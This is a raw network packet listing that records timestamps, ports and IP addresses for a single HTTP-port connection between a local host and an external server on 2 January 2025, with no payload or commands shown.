Jan 2, 2025 20:20:03.839368105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839380026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839386940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839386940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839395046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839406967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839407921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839423895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839432955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839436054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839452028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839463949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839463949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839464903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839479923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839493036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839498043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839508057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839521885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839530945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839536905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839543104 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839560032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839565992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839581966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.839624882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839624882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.839679956 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.908247948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.908265114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.908279896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.908307076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.908318043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.908330917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.908340931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.908340931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.908348083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.908377886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.908377886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.908390999 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.924829960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.924844027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.924860001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.924921036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925029039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925039053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925054073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925066948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925079107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925108910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925132990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925282001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925301075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925313950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925324917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925338030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925350904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925358057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925364017 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925376892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925390959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925400972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925403118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925415993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925416946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925429106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925441027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925442934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925460100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925472975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925479889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925479889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925486088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925498962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925502062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925515890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925529957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925544977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925551891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925551891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925561905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925575018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925585032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.925585032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925620079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.925638914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.926187992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.926199913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.926217079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.926229954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.926235914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.926242113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.926251888 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.926256895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.926273108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.926280022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.926311970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.926335096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.928801060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.928819895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.928832054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.928844929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.928865910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.928869963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.928869963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.928883076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.928904057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.928904057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.928917885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.928925991 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.928932905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.928945065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.928956985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.928968906 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.928971052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.928989887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.928989887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929020882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929052114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929069042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929080963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929102898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929111958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929112911 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929121971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929126024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929136038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929147005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929156065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929168940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929169893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929182053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929184914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929198027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929210901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929214001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929214001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929224014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929236889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929238081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929258108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929271936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929271936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929277897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929291964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929302931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929303885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929311037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929317951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929321051 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929323912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929331064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929336071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929342031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929347992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929368019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929387093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929399967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929400921 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929413080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929441929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929446936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929461002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929472923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929477930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929490089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929497004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929511070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929522991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929533005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929537058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929537058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929546118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929567099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929574966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929584980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929596901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929609060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929622889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929625988 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929634094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929644108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929647923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929656029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929667950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929686069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929697990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929702997 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929712057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929723024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929729939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929738045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929748058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929759026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929759026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929774046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929790020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929797888 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929804087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929816961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929827929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929831982 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929835081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929850101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929858923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929862976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929874897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929877996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929892063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929905891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929905891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929918051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929929018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.929930925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.929971933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.930028915 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.998804092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.998837948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.998848915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.998862028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.998867035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.998883009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.998887062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.998898983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.998914003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.998918056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.998924017 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.998929977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.998972893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.999018908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.019742012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019758940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019767046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019773960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019781113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019792080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019804001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019835949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.019861937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.019870996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019885063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019896984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019911051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019923925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019934893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019942045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.019947052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019958973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019965887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.019973040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.019977093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.019989014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.019990921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020004988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020015955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020029068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020031929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020040989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020054102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020056963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020066977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020078897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020081997 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020091057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020104885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020113945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020124912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020133972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020139933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020155907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020159006 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020169020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020180941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020195007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020212889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020217896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020217896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020226002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020243883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020245075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020257950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020261049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020272017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020277977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020288944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020302057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020313978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020315886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020315886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020328045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020349979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020360947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020366907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020366907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020374060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020401955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020417929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020431995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020443916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020457029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020467997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020478010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020478010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020488977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020499945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020514011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020519972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020519972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020528078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020539999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020551920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020560980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020565033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020572901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020577908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020591974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020602942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020612955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020626068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020631075 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020642042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020653963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020663977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020663977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020668983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020684004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020695925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020697117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020709038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020725965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020731926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020731926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020741940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020760059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020771980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020771980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020786047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020798922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020800114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020812988 CET	80	49704	47.254.187.72	192.168.2.8
